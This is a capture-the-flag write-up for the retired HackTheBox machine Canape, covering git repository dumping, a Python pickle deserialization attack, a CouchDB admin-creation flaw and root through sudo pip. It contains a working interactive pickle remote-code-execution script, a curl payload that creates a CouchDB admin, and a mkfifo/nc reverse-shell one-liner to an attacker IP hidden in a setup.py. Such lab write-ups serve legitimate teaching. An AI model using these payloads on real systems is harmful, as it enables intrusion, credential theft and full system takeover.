HackTheBox - Canape write-up

Canape retires this week, it's one of my favorite boxes on HTB for it's lessons on enumeration and scripting as well as a cool way to privesc. So, let's find our way in!

HackTheBox - Canape write-up

Canape retires this week, it's one of my favorite boxes on HTB for it's lessons on enumeration and scripting as well as a cool way to privesc. So, let's find our way in!

Lets begin with quick nmap as always -

# nmap -sC -sV -oN canape.nmap 10.10.10.70

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-14 18:02 IST
Nmap scan report for 10.10.10.70
Host is up (0.20s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git:
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.98 seconds

RECON AND ENUMERATION

Just port 80 seems to be open. Lets check the page out.

Nothing out of the ordinary for now, it says the page uses couchdb so that might be something to keep in mind. Also, there was a page to submit quotes which sends a post request to /submit with the data. I spotted another page /check which was hidden in the comments and couldn't be accessed by a GET request.  

But hey nmap says it found a git repository. Let's enumerate it for more info.

I'll be using this awesome set of tools to extract stuff - https://github.com/internetwache/GitTools .

Let's run Dumper first and see what's up.

# ./gitdumper.sh http://10.10.10.70/.git/ .                                                                      
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/92/eb5eb61f16b7b89be0a7ac0a6c2455d377bb41
-------------------------------SNIP--------------------------------

There were files over a lot of commits inside. Lets run git log to find the latest commit.

commit 92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41 (HEAD -> master)
Author: Your Name <[email protected]>
Date:   Tue Apr 10 13:26:06 2018 -0700

    final

commit 524f9ddcc74e10aba7256f91263c935c6dfb41e1
Author: Your Name <[email protected]>
Date:   Tue Apr 10 13:23:58 2018 -0700

    final

commit 999b8699c0ccf9843ff98478e2dd364b680924e0
Author: Your Name <[email protected]>
Date:   Tue Jan 23 18:40:13 2018 -0800

    remove a

commit a762ade84c321b26392139d726e60b2d5ccdbef1
Author: Your Name <[email protected]>
Date:   Tue Jan 23 18:40:04 2018 -0800

-----------------------------SNIP-------------------------------

Here we have the latest commit - 92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41.

Now lets extract everything with extractor. ./extractor.sh . ./extracted.

Now I have a bunch of folder with weird names, but thankfully we did retrieve the latest commit earlier. And if you start inspecting these folder randomly then my friend, you're in for a world of pain.

GETTING SHELL BY EXPLOITING PICKLE INJECTION

So the folder with the latest commit was named 5-92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41. It has an init.py file which looks like what we need. Lets check this boi out.

I'll be pasting only important parts of code, since it's a relatively long script.

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

This is the part which handles the /submit page. It takes in POST values of "character" and "quote" as we had seen on the submit page earlier, throws an error if either of them is null and also when the character isn't present in the whitelist, which is an array of names  we are allowed to quote. If both of them are valid, it creates initializes a variable p_id with the md5sum of char+quote data and then goes on to create a file of the same name in tmp folder with a .p extension( which is supposed to be a pickle file, as seen in the comment which mentions a need to pickle) and stuffs it with the char+quote data.

This is the most interesting part of the script.

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

It handles the /check page, wherein it takes a POST parameter of id and then reads the file /tmp/[id].p. It performs a cPickle.loads() on the content if p1 is present in it i.e if it's a python pickle. This points a potential python pickle injection, as we're able to control the content of the file.

Python's pickle library helps in serializing data and storage and is vulnerable like most of the serialization libraries in various languages like the NodeJs serialization vulnerability as seen on Celestial.

Here's a good article on it- https://blog.nelhage.com/2011/03/exploiting-pickle/ . It's easy to understand so I'm skipping the understanding part as this post is pretty long already. :p

Let's write some code to see if this actually works.

import os
import cPickle


class Exploit(object):
    def __reduce__(self):
        return (os.system, ('uname -a',))


def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode
    cPickle.loads(shellcode)

Sure, it does. Also you can see the p1 present in the pickle just as need by check. But there's a small problem, the data would contain the pickle but it even needs the character name to whitelist our quote. Let's see if our exploit works with a string attached to our pickle. I'll edit the script a bit to meet our objective.  

----------------------------SNIP------------------------------
if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode
    char = 'homer'
    exp = char + shellcode
    cPickle.loads(exp)

Now lets execute it.

Sadly, it doesn't work the way we expect it to, as pickle doesn't except raw strings. Lets see how we could solve it. I created a pickle out of a string and dumped it.

# python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> s = "string"
>>> cPickle.dumps(s)
"S'string'\np1\n."

Here we see that it the string was pickled as S'string'. So, maybe that's how we can represent string object in a pickle. Let's try this out now.

if __name__ == '__main__':
    shellcode = serialize_exploit()
    char = 'S\'homer\'\n'
    exp = char + shellcode
    print exp
    cPickle.loads(exp)

Don't forget to escape the quotes and add a line break.

Works like a charm. :D

Having solved that problem, now lets proceed to get a shell. If you think you can do it manually by sending the data manually and executing it, then you're wrong(or maybe you can :p), because it's hard to control the line breaks and stuff and the md5 comes out differently.

I went on to write a script which does the work for me.It just does what the server does, create a pickle, send a POST request with it, calculate the md5 hash and send a request to check. Here it is -

import os
import cPickle
from requests import post
from hashlib import md5

url1 = 'http://10.10.10.70/submit'
url2 = 'http://10.10.10.70/check'
cmd = ""

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))


def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

if __name__ == '__main__':
    while True:
      cmd = raw_input("Enter command: ")
      shellcode = serialize_exploit()
      char = 'S\'homer\'\n'
      exp = char + shellcode
      print exp
      res = post( url1, data = { "character":char, "quote": shellcode } )
      if "200" in str(res.status_code) :
          print "Pickle sent...."
      md5 =  md5(char + shellcode).hexdigest()
      print "Sending request for %s" % (md5)
      res = post( url2, data = { "id":md5})
      print "Received response..."
      print res

After a few tries and getting just 500 as response I realized that either my script sucks or this bloke ain't gonna help me out. Before further investigation it used a command and piped it to nc like this  -

And Jesus Christ! It works.(Yeah, I'm hax0r lord ). Now all that's left is to use a one-liner and get a reverse shell. I used the nc one-liner from pentestmonkey.

# nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 10.10.10.70 38788 received!
/bin/sh: 0: can't access tty; job control turned off
$ hostname
canape
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@canape:/$

Oh yeah! Next I started some basic enum before running any fancy scripts and noticed couchdb running as the user homer locally.

SHELL AS HOMER

We can see the version pretty clearly i.e 2.0.0 and couchdb versions < 2.1.1 have a couple of vulnerabilities.

The vulnerability allows us to add an admin level user and have total access over the DB. This is due to the erlang parser fails to handle duplicate values and stores the latest one added, so we're able to add ourselves as admin by using "roles" twice.

Here's a pretty good article on it.

So lets add a new user with -

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:TheKing'
--data-binary '{
  "type": "user",
  "name": "TheKing",
  "roles": ["_admin"],
  "roles": [],
  "password": "password"
}'

The successfully created an admin user on the DB which we can now authenticate as.

www-data@canape:/$ curl http://TheKing:password@localhost:5984/
curl http://TheKing:password@localhost:5984/
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Lets enumerate the DB now. To list all dbs GET /_all_dbs.

www-data@canape:/$ curl http://TheKing:password@localhost:5984/_all_dbs
curl http://TheKing:password@localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Passwords look good enough. Let's check it out. Use db_name/_all_docs to view the entries in the db.

www-data@canape:/$ curl http://TheKing:password@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

Now we've got four entries whose id can be used to check the data contained by each.

Sweet, three pairs of credentials, you can now use it to ssh or just su manually. :p

Here's a good cheat sheet for couchdb commands - https://wiki.apache.org/couchdb/API_Cheatsheet .

PRIVESC

Later I discovered the box had ssh running on 65535(WOW!!!) after my friend enlightened me.

Checking sudo perms shows that we can run pip as root.

homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
homer@canape:~$

There are various ways to exploit this. Usually pip looks for setup.py script while installing a package and executes the code within it, so we can create a setup.py and run pip in the folder or you can even tamper a valid package and install it.

Here's my setup.py script -

homer@canape:/tmp/kk$ cat s*py
from setuptools import setup
from setuptools.command.install import install
import os

class ins(install):
  def run(self):
    install.run(self)
    os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.155 80 >/tmp/f')

setup(name='BigDaddy',
      cmdclass={'install':ins})

Lets install this baby and get r00t!

`

Lookie here, we have a root shell. :)

So that's it on Canape, forgive the brief explanation in some parts for I had a lot of work to catch up with this week. Hope you liked the write-up!!

ADDITIONAL STUFF

As for the second way to exploit couchdb, we execute commands using an erlang shell, as it doesn't work directly. Check out how ippsec does it in an awesome way -

The artwork used to head this image is called HACK TO THE FUTURE and was created by Jacob Cummings.